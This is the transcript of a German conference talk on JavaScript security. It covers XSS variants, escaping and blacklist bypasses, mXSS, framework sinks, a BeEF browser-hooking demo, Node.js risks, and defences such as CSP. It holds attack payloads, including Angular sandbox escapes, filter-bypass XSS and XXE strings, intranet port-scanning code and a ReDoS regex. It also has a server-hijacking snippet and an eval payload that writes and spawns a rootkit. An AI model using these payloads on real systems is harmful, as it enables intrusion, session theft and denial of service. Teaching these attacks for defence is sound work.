JavaScript Security

102
JavaScript Security Race against the clock: 102 Slides, 2 Demos Hallo Zusammen und willkommen zum Talk über JavaScript Security.

description

Wenn der größte Teil der Logik in JavaScript stattfindet, dann findet auch der größere Teil der Sicherheitsrisiken dort seine Heimat. Und Angreifer finden mit JavaScript eine interessante neue Umwelt, denn die Sprache selbst und auch Ihre Heimat im Browser und Node.js bringen viele neue Probleme. Und genau da setzt der Vortrag an: die verblüffenden Unterschiede von JavaScript zu anderen Sprachen, wenn es um Security geht. Die Risiken und auch die Besonderheiten von Browsern und anderen JavaScript-Engines wie Node.js. Die Securityimplikationen von JavaScript-Frameworks bishin zu speziellen Problemen wie mXSS, ReDOS und HTML5-Security.

Transcript of JavaScript Security

Page 1: JavaScript Security

JavaScript SecurityRace against the clock: 102 Slides, 2 Demos

Hallo Zusammen und willkommen zum Talk über JavaScript Security.

Page 2: JavaScript Security

DISCLAIMER: No JavaScript-God

But pretty good at breaking stuff.

Vielleicht noch eins vorweg - ich habe nur begrenzt viel Ahnung von JavaScript. Aber ich bin ziemlich gut darin, Dinge kaputt zu machen. Auch JavaScript, Browser, Server, you name it, i break it.

Page 3: JavaScript Security

•2.5 Milliarden Browser-Clients•1 Milliarde Smartphones•Private Daten im Browser•Bankdaten im Browser•Milliardensummen in Transaktionen•Die Bitcoin-Geldbörse

Largest Attack Surface Ever

Und die Grafik von eben gibt es nicht nur einmal. Sondern endlos oft. 2.5 Milliarden Clients werden genutzt, inzwischen fast genausoviele Smartphones. Jeder hat inzwischen mehr private Informationen im Browser als im Tagebuch. Mehr Geld über Online-Transaktionen verwaltet als über Unterschriften.

Page 4: JavaScript Security

KXSS

Erster und wichtigster Kandidat ist XSS. Wer weiss alles, was XSS lang heisst?

Page 5: JavaScript Security

KXSSCross

Site Scripting

Genau, das sollte auch jeder Wissen.Weiss jemand, warum das so heisst? Exakt, weil die Jungs schlicht nicht nachgedacht haben.Eigentlich ist das aber ein Misnomer, weil es eigentlich nur wenig mit Cross Site zu tun hat.

Page 6: JavaScript Security

KXSSJavaScript

Injection

Eigentlich reden wir über JavaScript Injection, denn das ist das, was tatsächlich passiert. Auf dem Computer lokal wäre das kein Problem - aber wir haben es eben genau nicht mit nur einem Rechner zu tun, sondern mit ganz vielen - und das macht das ganze erst möglich.

Page 7: JavaScript Security

KXSS<html><head><title>JavaScript-Test</title><script src="quadrat.js" type="text/javascript"></script></head>

JavaScript kann der Browser eigentlich gar nicht direkt ausführen. Die Ausführung passiert erst dann, wenn ein Dokument das JavaScript einbettet. Und das passiert so. Und wenn es nur so ginge, dann hätten wir ein Problem weniger.

Page 8: JavaScript Security

KXSS<html><head><title>JavaScript-Test</title><script src="quadrat.js" type="text/javascript"></script></head>

I WANT MOAR!

Aber diese Variante war den Jungs von Netscape damals alleine zu unpraktisch. Es wäre doch total praktisch, wenn man das Javascript auch an anderen Stellen einsetzen könnte ...

Page 9: JavaScript Security

KXSS<html><head><title>JavaScript-Test</title><script type="text/javascript">alert(“Hi!“);</script></head>

Wie zum Beispiel einfach direkt im Script Tag. Ok, das lag auf der Hand, aber ab dem Moment gibt es ab ... wäre es nicht auch super, wenn man zum Beispiel ...

Page 10: JavaScript Security

KXSS<a href=“javascript:alert(/Hi!/);“>Click me</a>

Einfach URLs nutzen könnte, um JavaScript auszuführen???

Page 11: JavaScript Security

KXSS<meta http-equiv=“refresh“ content=“0;url=“javascript:alert(1);“>

Hey, das wäre cool. Schliesslich können wir URLs fast überall nutzen. Und da geht das dann auch.

Page 12: JavaScript Security

KXSS<input value=“12“ onmouseover=“alert(1);“>

Dann haben die Jungs von Netscape noch mal weitergedacht, und kamen auf die Idee, das ganze doch noch mal Inline machen zu können, wie damals in Delphi, einfach eine Aktion an das GUI-Element koppeln. Oder wie bei Visual Basic.

Page 13: JavaScript Security

KXSS<script>xss = “alert(1);“;eval(xss);</script>

Und, weil wir schliesslich Informatiker sind: das sollte auch Meta und Rekursiv können. Natürlich muss JavaScript auch JavaScript ausführen können.

Page 14: JavaScript Security

KXSS

Und generell, wäre es nicht super, wenn jeder, der in Zukunft neue Dinge im Browser macht, sie auch gleich scripten könnte? Dann könnten wir alles Super automatisieren!MathML und JavaScript war so kaputt, das Chrome es nach wenigen Versionen wieder rausgeworfen hat.

Page 15: JavaScript Security

KXSSDas ist

unpraktisch!Das ist zwar auf der einen Seite, irgendwie total cool, dass ich das überall verwenden kann, auf der anderen Seite aber massiv unpraktisch.

Page 16: JavaScript Security

KXSSFür den Browser sindDaten, Code und Darstellung das gleiche

Denn: Alles ein langer String.. Weil unsere Daten, unsere Darstellung und unser Code für den Browser das gleiche sind.

Page 17: JavaScript Security

KXSSIch wollte doch nur

Daten schreiben!

Und genau da kommen unsere Probleme her - ich wollte als Entwickler nur Daten oder Layout-Elemente erzeugen. Und der Browser, die Sau, hat sich entschlossen, meine Daten ganz stumpf als Executable Code zu nutzen.

Page 18: JavaScript Security

KXSS<p>Name: Hartmann</p>

<p>Name: Hartmann<script>alert(1);</script></p>

Das ist der Klassiker der Hacker-Formular-Tourette: eigentlich wollte ich nur meinen Namen eingeben, irgendwie kam dann aber ein ganz anderer String heraus, und der machte diesen Unsinn. Eigentlich sollten da nur Daten stehen, keine Ahnung, warum der Browser da jetzt Unsinn macht.

Page 19: JavaScript Security

KXSS<script>plz = 80331;<script>

<script>plz = 80331;alert(1);<script>

Auch das passiert: Da wollte ich meine Javascript nur die Postleitzahl des Nutzers in die Hand geben, und durch einen doofen Typo hat es JavaScript erkannt. Weiss jemand wie ich es richtig escaped hätte? Wieder hätte ich eigentlich nur Daten haben wollen.

Page 20: JavaScript Security

KXSS<input type=text value=“Hartmann“>

<input type=text value=“Hartmann“ AUTOFOCUS onfocus=“alert(1);“>

Hier wollte ich meinem Formularfeld nur sagen wie ich heisse. Dieses mal habe ich mit dem Typo aus Versehen gleich HTML5 gemacht, und schwupps, war da auch schon wieder ein Alert;

Page 21: JavaScript Security

KXSSXSS Type 0:

Dom-based XSSLokal, nur im Client, ohne Server.Deshalb hilft serverside Mitigation nicht.Meist basierend auf location.*

Aber woher kommen die Daten, die da an den falschen Stellen ausgegeben werden? Da unterscheidet man drei Typen. Der erste ist Type 0 XSS, auch DOM-based XSS genannt.Der passiert rein im Browser, und damit auch schon auf statischen HTML-Files. Er braucht auch keine Server, und Web Application Firewalls oder Pentesting bzw. Tests hilfen nicht.Man kann sich nur direkt im Javascript schützen.

Page 22: JavaScript Security

KXSSXSS Type 1:

Reflected XSSDie typische XSS.Eingabe -> Ausgabe -> Boom.Schön zu testen.Andere Seite heilt den XSS.

Der bekannteste Typ, unter dem auch gemeinhin XSS verstanden wird, ist der XSS Typ1, der reflektierte XSS. Meist gibt es hier eine Eingabe und gleich auf der nächsten Seite eine Ausgabe - zB bei Formularen. Er ist nur für denjenigen sichtbar, dessen Browser auch den Ursprungsrequest abgeschickt hat. Der Schutz passiert meist auf der Serverseite.

Page 23: JavaScript Security

KXSSXSS Type 2:

Persistent XSSWie reflektierter XSS, aber gespeichert.Auch für andere Nutzer sichtbar, kann viral werden.

Der dritte Typ ist der aggressivste, der Persistente XSS. Der passiert, wenn ich zB in ein Forum einen XSS einschleusen kann, der dann von anderen Nutzern auch gesehen wird. Oder XSS in einem Chat.

Page 24: JavaScript Security

KXSSXSS Type X:

Somewhere ElseEingebettetes remote.jsExterne JSONPsHandschrift auf der Überweisung

Und es gibt natürlich beliebige andere Quellen, von denen meine Applikation die Daten bekommt.

Page 25: JavaScript Security

KXSSRich Internet Applications

Bei Single Page Applications ist jeder XSS persistent, weil keine Heilung mehr durch einen URL-Wechsel stattfindet.

Das gemeine an allen drei Typen ist, dass das inzwischen für uns meist fast egal ist. Denn bei den Single-Page-Applications, die wir normalerweise schreiben, hilft es nichts mehr - es bleibt immer der gleiche Seitenscope bestehen, und damit ist jeder XSS, zumindest für die Zeit der Session, persistent.

Page 26: JavaScript Security

KXSSEscaping FTW!

Also wurde zunächst einmal escaped. Wer setzt hier $.html() in Jquery ein, um Output zu escapen?

Page 27: JavaScript Security

KXSS<p>Name: Hartmann&gt;script&lt;alert(1);&gt;/script&lt;</p>

escapeHtml(“Hartmann<script>alert(1);</script>“);

Ich nehme hier mal die Escape-Funktion aus Mustache, vom Jan Lehnhardt.Das klappt tatsächlich, wie cool!

Page 28: JavaScript Security

KXSSescapeHtml(“Hartmann\“ AUTOFOCUS onfocus=\“alert(1); “);

<input type=text value=“Hartmann&quot; AUTOFOCUS onfocus=&quot;alert(1);“>

Heja, der klappt ja auch! Endlich habe ich eine Escape-Funktion, die Universell ist...

Page 29: JavaScript Security

KXSS<script>plz = 80331;alert(1);<script>

escapeHtml(“80331;alert(1) “);

Und schauen wir uns noch mal das JS-Beispiel direkt an - das gilt btw. auch für alles, was direkt in einem Exekutierbaren Scope landet, also auch events etc. Da funktioniert das nicht weil wir dazu hätten „;“ escapen müssenDas gleiche gilt für ausgaben in JavaScript Events.

Page 30: JavaScript Security

KXSSUniverselles Escaping

funktioniert nicht.Fazit: Universelles Escaping funktioniert nicht.

Page 31: JavaScript Security

KXSSBlacklists ftw

Also wurde zunächst Blacklisting erfunden. Sprich: ich gucke nach bösen Sachen und filtere sie heraus. Jemand hier, der Blacklists einsetzt? PHPIDS? Validator aus Node.js?

Page 32: JavaScript Security

KXSS<p>Name: Hartmann<script>alert(1);</script></p>

<p>Name: Hartmannalert(1);</p>

Blacklists sollten die gefährlichen Ausdrücke entfernen, so dass kein JavaScript mehr ausgeführt werden kann. Also wurden die einfach entfernt.

Page 33: JavaScript Security

KXSS<p>Name: Hartmann<scr<script>ipt>alert(1);</scri<script>pt></p>

<p>Name: Hartmann<script>alert(1);</script></p>

Darauf haben die Hacker dann reagiert, indem sie einfach das, was entfernt wird, wieder ergänzt haben. Das hat nur so mittel geklappt. Danach sind die aber besser geworden, und laufen heute so lange über einen String, bis sie nichts mehr finden.

Page 34: JavaScript Security

KXSS<p>Name: Hartmann<scr<script>ipt>alert(1);</scri<script>pt></p>

<p>Name: Hartmann[removed]alert(1); [removed] </p>

Inzwischen sind die natürlich auch besser geworden, und im regelfall - zB bei node.js validator - sieht das so aus.

Page 35: JavaScript Security

KXSS<script>plz = 80331;<script>

<script>plz = 80331;alert(1);<script>

Dieses Ding bleibt trotzdem unangetastet. Ok, bei einigen Blacklists fliegt alert raus ....

Page 36: JavaScript Security

KXSS<script>plz = 80331;<script>

<script>plz = 80331;prompt(1,1);<script>

... da muss man dann prompt(1,1) zum testen nehmen :-).

Page 37: JavaScript Security

KXSSUniverselles Blacklisting

funktionert nicht.Fazit: Universelles Blacklisting funktioniert auch nicht.

Page 38: JavaScript Security

KXSSOk, Escaping geht nicht, Blacklisting geht nicht.

Aber richtiges Escaping funktioniert schon noch, oder?

Das ist ja schon mal nicht so gut. Aber sind wir damit schon am Ende?

Page 39: JavaScript Security

KMXSSThe innerhtml

ApocalypseNatürlich nicht, das wird noch eins komplizierter. Und zwar weil Browser tolerant sind. Die wollen nicht nur überall JavaScript executen, sondern die wollen auch aus jedem Syntax etwas nützliches machen.

Page 40: JavaScript Security

KMXSSEs steht das drin,

was gemeint war.Natürlich nicht, das wird noch eins komplizierter. Und zwar weil Browser tolerant sind. Die wollen nicht nur überall JavaScript executen, sondern die wollen auch aus jedem Syntax etwas nützliches machen. Klar, wer die Anfänge auf Geocities mitbekommen hat - da war mit sauberem Syntax nichts zu holen.

Page 41: JavaScript Security

KMXSSDemotime!

Idee, Konzept, sonstiges: alles geklaut bei Mario Heiderich

Demo! file:///Users/johann/javascript/innerhtml_test.htmlSiehe http://de.slideshare.net/x00mario/the-innerhtml-apocalypse

Page 42: JavaScript Security

KMXSSHTML im Browser != geschriebenes HTML

•abhängig von Browserversion•abhängig von Browsermode•abhängig von Position im HTML

Was lernen wir daraus? Es kommt nicht darauf an, was wir selbst als JavaScript schreiben, sondern es kommt darauf an, was der Browser daraus macht.

Page 43: JavaScript Security

KXSSAre we done

yet?Ok, sind wir jetzt endlich mit den ganzen Problemen durch?

Page 44: JavaScript Security

KXSSNope.

Klar gibt es noch mehr!

Page 45: JavaScript Security

KXSS<div data-dojo-type="dojox/calendar/Calendar" data-dojo-props="startDate: new Date(2012, 0, 1), endDate: new Date(2012, 0, 9)" style="position:relative;width:500px;height:500px"></div>

Wir haben ja schliesslich noch JavaScript Libraries. Und auf einmal gibt es Properties die Aktionen auslösen, die ich noch gar nicht kenne - zum Beispiel über Widgets. In HTML5 gibt es das auch, aber da triggern sie kein JavaScript, das eigene Lücken enthalten kann.

Page 46: JavaScript Security

KXSSVorher galt:

Attribut mit on* -> Triggert JavaScript

Und das ist wichtig - denn vorher konnte man sich darauf verlassen, dass JavaScript nur über Events, also über Attribute, die mit on* beginnen getriggert wurde - und alles andere funktioniert automatisch.

Page 47: JavaScript Security

KXSS<div class="ng-app">{{constructor.constructor('alert(1)')()}}</div>

Ähnliche Probleme gibt es auch den meisten JavasScript-Template-Libraries, in diesem Fall Angular.js. Die Templates erlauben zwar kein direktes eval, aber Methodenaufruf mit Parametern - und wenn ich das so mache, habe ich faktisch auch wieder die möglichkeit zu evaluieren.

Page 48: JavaScript Security

KXSS<div class="ng-app">&#x7b;&#x7b;constructor.constructor('alert(1)')()&#x7d;&#x7d;</div>Jetzt könnte man natürlich sagen: hej, dann filtern wir einfach auf {{ .. aber leider geht auch das in die execution.

Page 49: JavaScript Security

KXSS<b data-ng-app data-ng-style="constructor.constructor('alert(1)')()" />

Und nicht nur direkt im Template-Text wird executed, wie bei Dojo kann ich auch direkt im Attribut JavaScript triggern.

Page 50: JavaScript Security

KXSS

Und nicht nur da spielen die Libraries eine Rolle. Wer setzt alles Jquery ein? (Jetzt sollten sich alle melden)

Page 51: JavaScript Security

KXSS

Da steht ja nicht umsonst „write less, do more“ drunter. Das passiert tatsächlich.

Page 52: JavaScript Security

KXSS$()

Das wird zum Beispiel mit der sehr mächtigen $() funktion gemacht, die abhängig von Inhalt unterschiedliche Dinge tut. Das erlaubt einem sehr schnell zu sein. Das ist cool.

Page 53: JavaScript Security

KXSS$()

Aber das bedeutet auch, dass man nicht immer weiss, was passiert. Und das ist ein Problem.

Page 54: JavaScript Security

KXSSSink: eine Funktion, die ein Risiko darstellt,

wenn ihr nicht vertrauenswürdiger Input übergeben wird.

In Security spricht man von einer Sink wenn man eine Funktion hat, die in einem Security-Problem resultiert, wenn sie fremde Daten bekommt oder die Daten nicht sanitized sind.SQL-Funktionen sind solche Sinks, wenn ich dort einen String direkt eingebe, dann wird er ungefiltert der Datenbank übergeben und kann SQL-Injections erzeugen. eine Multiplikationsfunktion wäre dementsprechend Risikofrei.

Page 55: JavaScript Security

KXSS$() ist eine Sink$("<img src='dd' onerror='alert(1)'>");

Und genau da kommt unser Problem her - $() ist eine Sink, und nicht jeder weiss es. Ich darf also $() nur validierten Input in die Hand geben. Quelle: https://www.owasp.org/images/9/95/JS_Libraries_Insecurity_-_Stefano_DiPaola.pdf

Page 56: JavaScript Security

KXSSOk, aber

ist das wirklich ein Problem?

Da stellt sich natürlich die Frage - ist das wirklich ein Problem?

Page 57: JavaScript Security

KXSSWenn JavaScript

ausgeführt werden kann, dann ist das vollständige Vertrauen

im aktuellen Kontext zerstört.

Ja, ist es. Das erste liegt an der Sprache selbst. Die Sprache erlaubt die Manipulation und das Überschreiben von allem, auch von den Browsereigenen Objekten und Methoden.

Page 58: JavaScript Security

KXSS

Ich brauche bloss window.alert(); auf eine neue Funktion zu binden, und schon passiert etwas ganz anders wenn ich einen alert() triggere. Das gleiche gilt natürlich auch für Objekte wie xmlhttprequest.

Page 59: JavaScript Security

KXSS

Seiteneffekte

Same Origin PolicySandbox

Und das ist nicht das einzige Problem. JavaScript läuft zwar in der Sandbox und kann durch die Same-Origin-Policy bzw. durch Cross-Domain Policies nicht auf alles zugreifen, aber auch ohne Zugriff gibt es Seiteneffekte.

Page 60: JavaScript Security

KXSSCSRF

Mein JavaScript erbt die Browsrechte anderer Tabs, wenn

ich mit Ihrem Host interagiereDer bekannteste Seiteneffekt in JavaScript ist Cross Site Request Forgery, oder auch kurz Sea-Surf. Wenn das JavaScript auf meiner Seite URLs auf einer anderen Seite aufruft, wenn es Formulare auf die andere Seite abschickt, dann bekommt dieser Request automatisch die Cookies, die HTTP-Authentifizierung dieses Host verliehen. Die Vorteile sind klar - ich kann auf eine andere Seite verlinken, und wenn ich dort eingeloggt war bleibe ich es auch.

Page 61: JavaScript Security

KXSSErkennung der Browser-IP per WebRTC

nmap für Arme: Host- und Portscanning

über Iframes, Img-Tags, JavaScript, ohne JavaScript über Timing von <link>-Includes:

<img src=“http://192.168.2.1:80/“ onError=“stoptimer(“192.168.2.1“, 80);“ />

Intranet

Page 62: JavaScript Security

KXSSDictionary-Attacken auf das Intranet

Url-basierte Erkennung von Devices und Login-Status

Drive-By-Pharming auf Hightrafficsites

Intranet

Page 63: JavaScript Security

K XSSvar handle = window.requestAnimationFrame(callback);

damit die Frame Rate auszurechnen

Über -moz-element/webkit-box-reflect iframe als vergrösserten Background für ein <div> nutzen

teuren Morphology-Filter über einzelne Pixel legen und Frame Rate messen

Pixel Perfect Timing

Page 64: JavaScript Security

KXSSPixel Perfect Timing

http://www.contextis.com/files/Browser_Timing_Attacks.pdfHier sehen wir wie das funktioniert - links oben der Originale frame, rechts das div mit der Kopie, unten links ein Frame mit Treshhold als Filter, und rechts unten ein einzelner Pixel - und über diesen wird die Framerate gemessen.

Page 65: JavaScript Security

KXSSGeht natürlich auch mit view-source: urls im Chrome

Iframes-Buster vsFacebook-Comments/Likes wollen embedded werden

OCR funktioniert

Pixel Perfect Timing

Page 66: JavaScript Security

KXSSDemotime!

http://beefproject.com/

1. Neuer Browserhttp://whatismyipaddress.comIP notieren2. Blog-URLhttp://blog.mayflower.de3. in http://beef.mayflower.de/ui/panel einloggen4. Links die Zombies zeigen5. Rechts Log zeigen6. Meine IP raussuchen7. Detail-Seite vorstellen - alles, was einfach ohne tricks über JavaScript zu ermitteln ist, quasi Browser Capabilities 7. Rider Nutzung des Fremden Browsers als Proxy- auf der gehijackten Domain, weil Same Origin8. CommandsBrowser Domain8.1 get cookie-> session riding mit login8.2 get page hrefs8.3 alert dialog8.4 Full Page Rickroll8.5 Webcam Permission check - interesting domains8.6 Host - Get internal IP8.7 DOSer8.9 Persistence - create popunder.9.0 Phonegap & Extension exploits

Page 67: JavaScript Security

CXSSExtensions,

& HTML5& Phonegap

Da sind wir auch gleich beim nächsten Thema - HTML / XSS jenseits des Browsers.

Page 68: JavaScript Security

CXSSFaktisch: HTML5-Applications

Extensions

http://de.slideshare.net/kkotowicz

Page 69: JavaScript Security

CXSSExtensionsPro Domain* Sonderrechten:chrome.tabschrome.bookmarkschrome.historychrome.cookies

Page 70: JavaScript Security

CXSSExtensionsPro Domain* Sonderrechten:chrome.tabschrome.bookmarkschrome.historychrome.cookies

40%http://*/*

https://*/*

Page 71: JavaScript Security

CXSSExtensions

Halten sich inzwischen an Content Security Policy

Aber: diverse eval()s in Libraries (mustache, underscore, jQuery template)

Page 72: JavaScript Security

CXSSExtensions

Resultat: Voller Zugriff auf alle Seiten im Browser

Inkl. Cookies und LoginsFacebook, GMail, Twitter, ...

Page 73: JavaScript Security

CXSSHTML5

Alte Bugs in neuen Variationen:<input onfocus=alert(1) autofocus>

<input onblur=alert(1) autofocus><input autofocus><form id=test onforminput=alert(1)>

<button form=test onformchange=alert(2)><button form=test onformchange=alert(2)>

<math href="javascript:alert(1)">CLICKME</math>

Und natürlich werden alle alten Blacklistfilter durch neue Attribute und Tags ausgetrickst.

Page 74: JavaScript Security

CXSSHTML5

<input type=file directory>

Das neue Directory-Attribute im Chrome erlaubt vollen Lesezugriff auf das Verzeichnis, nachdem es ausgewählt wurde. Einfach Download anbieten, „Download to Folder“-Button machen - und schon hat man Zugriff auf das ganze Verzeichnis.

Page 75: JavaScript Security

CXSSPhonegap

Capabilities über Permissions:Camera, Contacts, Files, Geolocation,

Media,...Alle Capabilities der App in XSS nutzbar

Page 76: JavaScript Security

CXSSAre we done now, please?

Sind wir jetzt endlich mit den ganzen Security Problemen durch? Wer meint wir wären durch? Genau, jetzt kommen wir erst zu den Highlights.

Page 77: JavaScript Security

MTyposquatting

XSS

1. Registrier die Domain googlesyndicatio.com2. Erzeuge ein file http://pagead2.googlesyndicatio.com/pagead/ads3. 12.000 Aufrufe pro Tag4. Beefproject FTW

Und noch eine letzte Geschichte aus der Kategorie „Man glaubt es nicht:“Die Jungs von der Security-Firma Securitee haben im Sommer einfach mal die Domain googlesyndicatio.com reserviert - so wie die alte Google-Ads-Domain, vor vielen, vielen Jahre,nur mit einem Typo. Da haben sie dann ein Script abgelegt.

Page 78: JavaScript Security

ZXSS

How to fix it.Ok, so langsam können wir ja auch mal schauen, wie man das ganze Repariert.

Page 79: JavaScript Security

ZXSSSchlicht nicht machen:

*.innerhtml änderneval();

JSON in eval();document.write();

In HTML selbst gibt es ein paar Methoden, die man nie nutzen sollte. So praktisch sie auch aussehen. Ebenfalls sollte man versuchen Libraries, die sie einsetzen, selbst einzusetzen.

Page 80: JavaScript Security

ZXSSSchlicht nicht machen:

Inline <script>-JavascriptAuslagern

Komprimieren

In HTML selbst gibt es ein paar Methoden, die man nie nutzen sollte. So praktisch sie auch aussehen. Ebenfalls sollte man versuchen Libraries, die sie einsetzen, selbst einzusetzen.

Page 81: JavaScript Security

ZXSSSchlicht nicht machen:

Dynamisch HTMLJS-Templates

JS-Code(!) genieren

In HTML selbst gibt es ein paar Methoden, die man nie nutzen sollte. So praktisch sie auch aussehen. Ebenfalls sollte man versuchen Libraries, die sie einsetzen, selbst einzusetzen.

Page 82: JavaScript Security

ZXSSSchlicht nicht machen:

on-Eventsstatt dessen: Explizit binden: $('#main').bind("click", function(e) { alert(1) });

In HTML selbst gibt es ein paar Methoden, die man nie nutzen sollte. So praktisch sie auch aussehen. Ebenfalls sollte man versuchen Libraries, die sie einsetzen, selbst einzusetzen.

Page 83: JavaScript Security

ZXSSSchlicht nicht machen:

Alte Libraries (json.js, jquery) nutzen

Auch wenn Google sie noch hostet ...

In HTML selbst gibt es ein paar Methoden, die man nie nutzen sollte. So praktisch sie auch aussehen. Ebenfalls sollte man versuchen Libraries, die sie einsetzen, selbst einzusetzen.

Page 84: JavaScript Security

ZXSSSchlicht nicht machen bei JQuery:

Niemals untrusted Input in die Sinks... JQuery(), $(), $().html, $().before(),

$().after, $().prepend, $().append

Bei Jquery sollte man wissen, welchen Funktionen man trauen kann und welchen nicht - also welche Sinks sind und welche nicht.All diese Funktionen sollte nicht mit User-Input gefüttert werden.

Page 85: JavaScript Security

ZXSSSchlicht machen:

Korrekt escapen:Urls mit EncodeURI

HTML zB mit JsHtmlSanitizerWhitelists wo sie möglich sind

Page 86: JavaScript Security

ZXSSContent-Security-Policy: script-src ‘self‘X-Content-Security-Policy: script-src ‘self‘X-WebKit-CSP: script-src ‘self‘

Header

Der erste Header ist für neue Firefox und Chrome, der zweite für alte Firefox und IE10, der dritte für Webkit. Achtung: die machen in der Konfiguration alle schlechte JS-Libraries wie etwa jquery kaputt, weil diese eben eval() brauchen - und das wird hier deaktiviert.

Page 87: JavaScript Security

ZXSSContent-Security-Policy: default-src ‘self‘<img src=“bla“ onerror=alert(1)>

Content-Security-Policy: default-src ‘self‘ ‘unsafe-inline‘<img src=“bla“ onerror=alert(1)>

Header

man kann es aber gezielt, etwa für die eigenen Domain oder den JS-CDN seines vertrauens wieder aktivieren.

Page 88: JavaScript Security

ZXSSCSP deaktivieren:

<meta http-equiv="Content-Security-Policy"content="default-src 'none'">

injecten.

Header

Und mit einer HTML-Injection kann ich das ganze dann doch wieder aktivieren ...

Page 89: JavaScript Security

ZXSSX-XSS-Protection: 1; mode=blockX-FRAME-OPTIONS: DENY

Header

Der Internet Explorer hat sich noch mehr Features einfallen lassen, dafür wollte er ja auch zunächst nicht bei der Content-Security-Policy mitmachen. X-XSS-Protection macht ein lustiges Filtering von Eingaben und Ausgaben und adressiert vor allem Reflektive XSS. Ich kann also nicht mehr nach <script> auf google suchen, wenn das aktiv wäre.X-Frame-Options sind wiederum gut, um Clickjacking-Attacken systematisch zu stoppen, sollte man also machen, wenn man nicht partout eingebettet werden muss.

Page 90: JavaScript Security

ZNode.js

Node.js Security

Page 91: JavaScript Security

ZNode.jsViele Sinks:

eval(),ChildProcess.*, Cluster.*,fs.*, http.*, net.*, process.*, dgram.*

Zugriff auf Netzwerk, Filesystem, Prozesse

In node.js gibt es sehr viele Funktionen, die Probleme erzeugen können, wenn ihnen unvalidierter Code übergeben wird. Natürlich gibt es diese Funktionen auch in allen anderen Sprachen, aber bei JavaScript ist man sie bisher nicht gewohnt - und achtet dementsprechend weniger auf die Risiken dahinter.

Page 92: JavaScript Security

ZNode.js

http.createServer(function (req, res) { res.writeHead(200, {'Content-Type': 'text/plain'}); res.end('Hello World\n');}).listen(1337, '127.0.0.1');console.log('Server running at http://127.0.0.1:1337/');

Und wir haben die klassischen JavaScript-Probleme - diesen Code kennt vermutlich jeder, mit ihm erzeuge ich einen neuen node-basierten HTTP-Server. Aber weil es JavaScript ist, kann ich mit einer Code Injection die vollständige Infrastruktur der Sprache boykottieren.

Page 93: JavaScript Security

ZNode.jsvar http = require('http');oldfunc = http.createServer;http.createServer=function (myfunc) { console.log('Hijacking createServer'); newfunc = function (req, res) { result = myfunc(req, res); console.log('MITM Request:'); console.log(req); console.log('MITM Response:'); console.log(res); return result; } return oldfunc(newfunc);}

Und das ist der Code, mit dem ich Create-Server so umschreibe, dass ich ich allen Verkehr zu einer dritten Partei umleiten kann. Genauso wie ich window.alert umschreiben kann kann ich auch http.createServer umschreiben.

Page 94: JavaScript Security

ZNode.js

npms

Kommen wir zu einem ganz dunklem Kapitel.

Page 95: JavaScript Security

ZNode.jsAuthenticated only by E-Mailca 30.000 Packages, no Security-ChecksSinks: zB 1686*Spawn() 9518*eval() 3977*writeFile() Average Quality is low

Kommen wir zu einem ganz dunklem Kapitel. NPMs sind einer der wichtigsten Gründe für das enorme Wachstum von Node. Und genau die offene Infrastruktur, die zur schnellen und weiten Verbreitung führte, ist vom Security-Standpunkt her ein Problem. Denn auch hier gilt das Appstore-Phänomen: man vertraut der Absenderadresse, auch wenn sie eigentlich gar kein Vertrauen verdient - denn jeder von uns kann jederzeit ein Package einstellen, ohne jenseits seiner E-Mail-Adresse authentifiziert zu werden.

Page 96: JavaScript Security

ZNode.jsSupport für typische Security-Features:- node-validator für validation & sanitizing require('validator').sanitize(mystr).xss();- express csrf middleware app.use(express.csrf());

Für die normalen Security-Anforderungen sind die meisten Pakete vorhanden, beide auch im express-Umfeld vorhanden.

Page 97: JavaScript Security

ZNode.jsnode-validator Sanitizer: Blacklister, also gibt es Workarounds:

<!DOCTYPE x[<!ENTITY x SYSTEM "http://html5sec.org/test.xxe">]><y>&x;</y>

und in test.xxe: <script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script>

Der Validator ist der Rewrite der Code-Igniter Infrastruktur und ok. Die Validator-Funktionen sind gut, und die Sanitizer-Funktionen - wie jede Blacklist - unvollständig und es existieren Workarounds.

Page 98: JavaScript Security

ZNode.jsSQL-Injections:

nodejsdb solide, inklusive Parameter bindingAber: Whitelisting von Bezeichnern und SQL-Syntax trotzdem erforderlich

Auch was die Basisinfrastruktur angeht sieht es nicht so schlecht aus - das nodejsdb mysql Interface macht zB auch einen guten Eindruck. Ich muss natürlich auch nicht-bindbaren Syntax, der in die Query geht validieren - sonst sind wieder SQL-Injections oder blind SQL-Injections möglich.

Aber wie gesagt, das sind nur 3 von 30.000 Modulen, und gerade die selten genutzten Module sind nicht wirklich vertrauenswürdig.

Page 99: JavaScript Security

ZNode.jsReDOS-Attacken: existierende reguläre Ausdrücke so füttern, dass sie beliebig viel CPU brauchen.Beispiel: var match = /^(a+)+$/.exec('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!');

Blockiert den Server > 10 Sekunden.

Page 100: JavaScript Security

ZNode.jsWenn ich ein eval() im Server habe ... process.kill(process.id);

require(‘fs‘).writeFileSync(‘/tmp/rootkit‘, data, ‘base64);require(‘child_process‘).spawn(‘/tmp/rootkit‘);

Page 101: JavaScript Security

ZNode.js

Node.js auch auf Port 80 nicht als Root!per sudo starten und dann ...

var uid = parseInt(process.env.SUDO_UID);if (uid) process.setuid(uid);

Page 102: JavaScript Security

ZFazit

Danke!